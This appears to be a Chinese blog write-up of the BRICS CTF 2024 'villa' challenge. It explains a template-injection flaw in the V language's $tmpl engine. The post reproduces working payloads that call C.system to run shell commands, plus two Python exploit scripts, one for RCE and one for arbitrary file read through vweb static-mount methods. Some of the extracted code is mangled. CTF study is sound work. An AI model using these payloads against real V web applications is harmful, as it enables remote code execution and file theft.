本文最后更新于 2024年12月18日 上午
                  
                
              
            
            
              
                
                官方wp>>>https://github.com/C4T-BuT-S4D/bricsctf-2024-quals/tree/master/tasks 
villa v语言写的一个web程序
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 module main
在/villa路由将$tmpl('template.html')的返回值写入villa.html
template.html的@app.req.data接收用户传入的值,这是整个程序唯一的输入点
在docker的启动脚本里
1 2 3 4 5 6 cp villa.html villa.html.bak
每30秒重置villa.html
通过$vweb.html()渲染html
替换html时经过了$tmpl函数处理
查看该引擎的源码
https://github.com/vlang/v/blob/715dc3116123b69abe25d14536cad18da6bd7ab6/vlib/v/parser/tmpl.v#L397 
根据官方wp给出的片段
1 2 3 4 5 6 7 8 } else if line_t.starts_with('.') && line.ends_with('{') {
该段代码会处理.开头{结尾的行并截取两个符号之间的字符串作为${class}
看官方给出的payload
实际上是对source.writeln(进行闭合然后拼接shell命令,导致tmpl.v执行的同时执行shell命令导致rce
插入payload后如下
source.writeln('<div class="'); C.system('cat flag.*.txt > villa.html'.str); println('">')
实际上执行了source.writeln('<div class="')``C.system('cat flag.*.txt > villa.html'.str)``println('">')
官方exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  sysimport  timeimport  requests1 ] if  len (sys.argv) > 1  else  'localhost' int (sys.argv[2 ]) if  len (sys.argv) > 2  else  17171 f'http://ip:17171/villa' while  True :try :"\n. '); C.system('cat flag.*.txt > villa.html'.str); println(' {\n" print (response.content)if  b'flag'  in  response.content:break except  Exception as  e:print (e)2 )
要注意到的是这里前后加上换行是为了让payload单独一行,才能正确让tmpl截取到我们的payload
这里执行system命令要C.system但是os.system跑不通
于是又找到了一个文章 https://dreyand.rs/ctf/2024/10/06/vlang-template-injection-lazy-loading-iframes-ss-leaks-brics-ctf-quals 
* Side note: Someone in the discord also found a way to get full RCE, as shared by : <font style="color:rgb(34, 34, 34);">кек</font>
<font style="color:rgb(34, 34, 34);">${ C.system(&char(“cat flag* > /tmp/villa/villa.html”.str)) }</font> . yes, you can use C in V )) 
That’s an insane functionality provided by the language XD 
 
通过<font style="color:rgb(34, 34, 34);">language XD</font>可以在Vlang执行C语言 
这篇文章提供了另外一个解法就是通过vweb的内置函数 <font style="color:rgb(34, 34, 34);">scan_static_directory</font>来读取文件夹的文件列表。 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fn (mut ctx Context) scan_static_directory(directory_path string, mount_path string, host string) {or  { panic(err) }if  files.len  > 0  {for  file in  files {if  os.is_dir(full_path) {'/' ) + '/'  + file,else  if  file.contains('.' ) && !file.starts_with('.' ) && !file.ends_with('.' ) {not  in  mime_types.if  ext in  mime_types {'/' ) + '/'  + file,
这个函数不是公开的,需要找到另一个调用它的函数。 
文章提供了3个 
All we have to do now is: 
use the   <font style="color:rgb(34, 34, 34);">host_mount_static_folder_at</font>  gadget to   mount   the   <font style="color:rgb(34, 34, 34);">/tmp/villa</font>  directory into a   static   one read the server config via   <font style="color:rgb(34, 34, 34);">@app</font>  to get a   list of files , including the filename of the flag. use the  arb file read  gadget to get the flag  
 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  httpx import  re def  mount_static (client ):"""     @{dump(app.handle_static('/tmp/villa', true))}     @{dump(app.host_handle_static('localhost', '/tmp/villa', true))}     @{dump(app.mount_static_folder_at('/tmp/villa', '/leak'))}     @app     """ "" while  "true"  not  in  resp:try :"/villa" , data=payload).textexcept :pass  r'/tmp/villa/flag\.[a-f0-9]{32}\.txt' return  flag_loc[0 ]def  readflag (client, flag_loc ):"@{app.file('%s')}"  % (flag_loc)"" while  True :try :"/villa" , data=payload).textif  "flag"  in  resp or  "brics"  in  resp:print (resp)break except :pass  return  respdef  exp ():"http://TARGET-URL" if  __name__ == "__main__" :